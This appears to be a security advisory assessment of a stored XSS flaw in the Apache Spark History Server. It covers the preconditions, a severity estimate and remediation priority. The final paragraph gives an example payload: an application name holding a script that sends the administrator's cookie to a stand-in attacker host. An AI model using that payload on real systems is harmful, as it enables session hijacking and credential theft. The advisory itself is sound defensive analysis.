Apache Spark EUVD-2026-69899

Exploitation requires both of the following conditions to be satisfied simultaneously: (1) The attacker must hold Spark job submission permissions on the cluster - this is a privileged operation typically granted only to data engineers, data scientists, or pipeline operators, not arbitrary network users. (2) A higher-privileged user (e.g., a Spark platform administrator) must be socially engineered into visiting the Spark History Server web page where the malicious job's history entry is displayed; the XSS fires passively on page load with no further interaction. The vulnerability is meaningless if all job submitters are already trusted at the same level as History Server viewers (no privilege gap), or if the History Server is access-controlled such that only admins can reach it but also only admins can submit jobs.

Apache's self-assessment of Low severity is well-calibrated to the real-world risk. No CVSS vector was provided in the input, but independently derived metrics yield approximately CVSS 3.1 ~4.6 (AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N), consistent with a Low-to-Medium rating. No EPSS score is available. The vulnerability is not in CISA KEV, and no public exploit or POC has been identified. The attack chain requires two non-trivial prerequisites to be satisfied simultaneously: the attacker must hold job submission permissions (a privileged role in most enterprise Spark deployments) and must successfully social-engineer a higher-privileged administrator into visiting the History Server page displaying the malicious job. The impact is bounded to browser-level session compromise ('minimal privilege escalation in browser' per the advisory) - this does not offer direct cluster access, code execution on the server, or data exfiltration beyond what the admin session exposes. For most enterprises this is a patch-on-next-cycle issue; emergency response is not warranted unless the History Server is exposed to a broad, untrusted population of job submitters.

An attacker with Spark job submission rights crafts a job with a malicious application name such as <script>fetch('https://attacker.example/log?c='+document.cookie)</script> and submits it to the cluster. The attacker then sends the administrator a plausible operational reason to check that job's history on the History Server. When the administrator loads the History Server page, the unescaped application name executes in the administrator's browser, exfiltrating their session cookie or performing actions on their behalf. No public exploit code has been identified, but this is a textbook stored XSS pattern requiring no specialized tooling.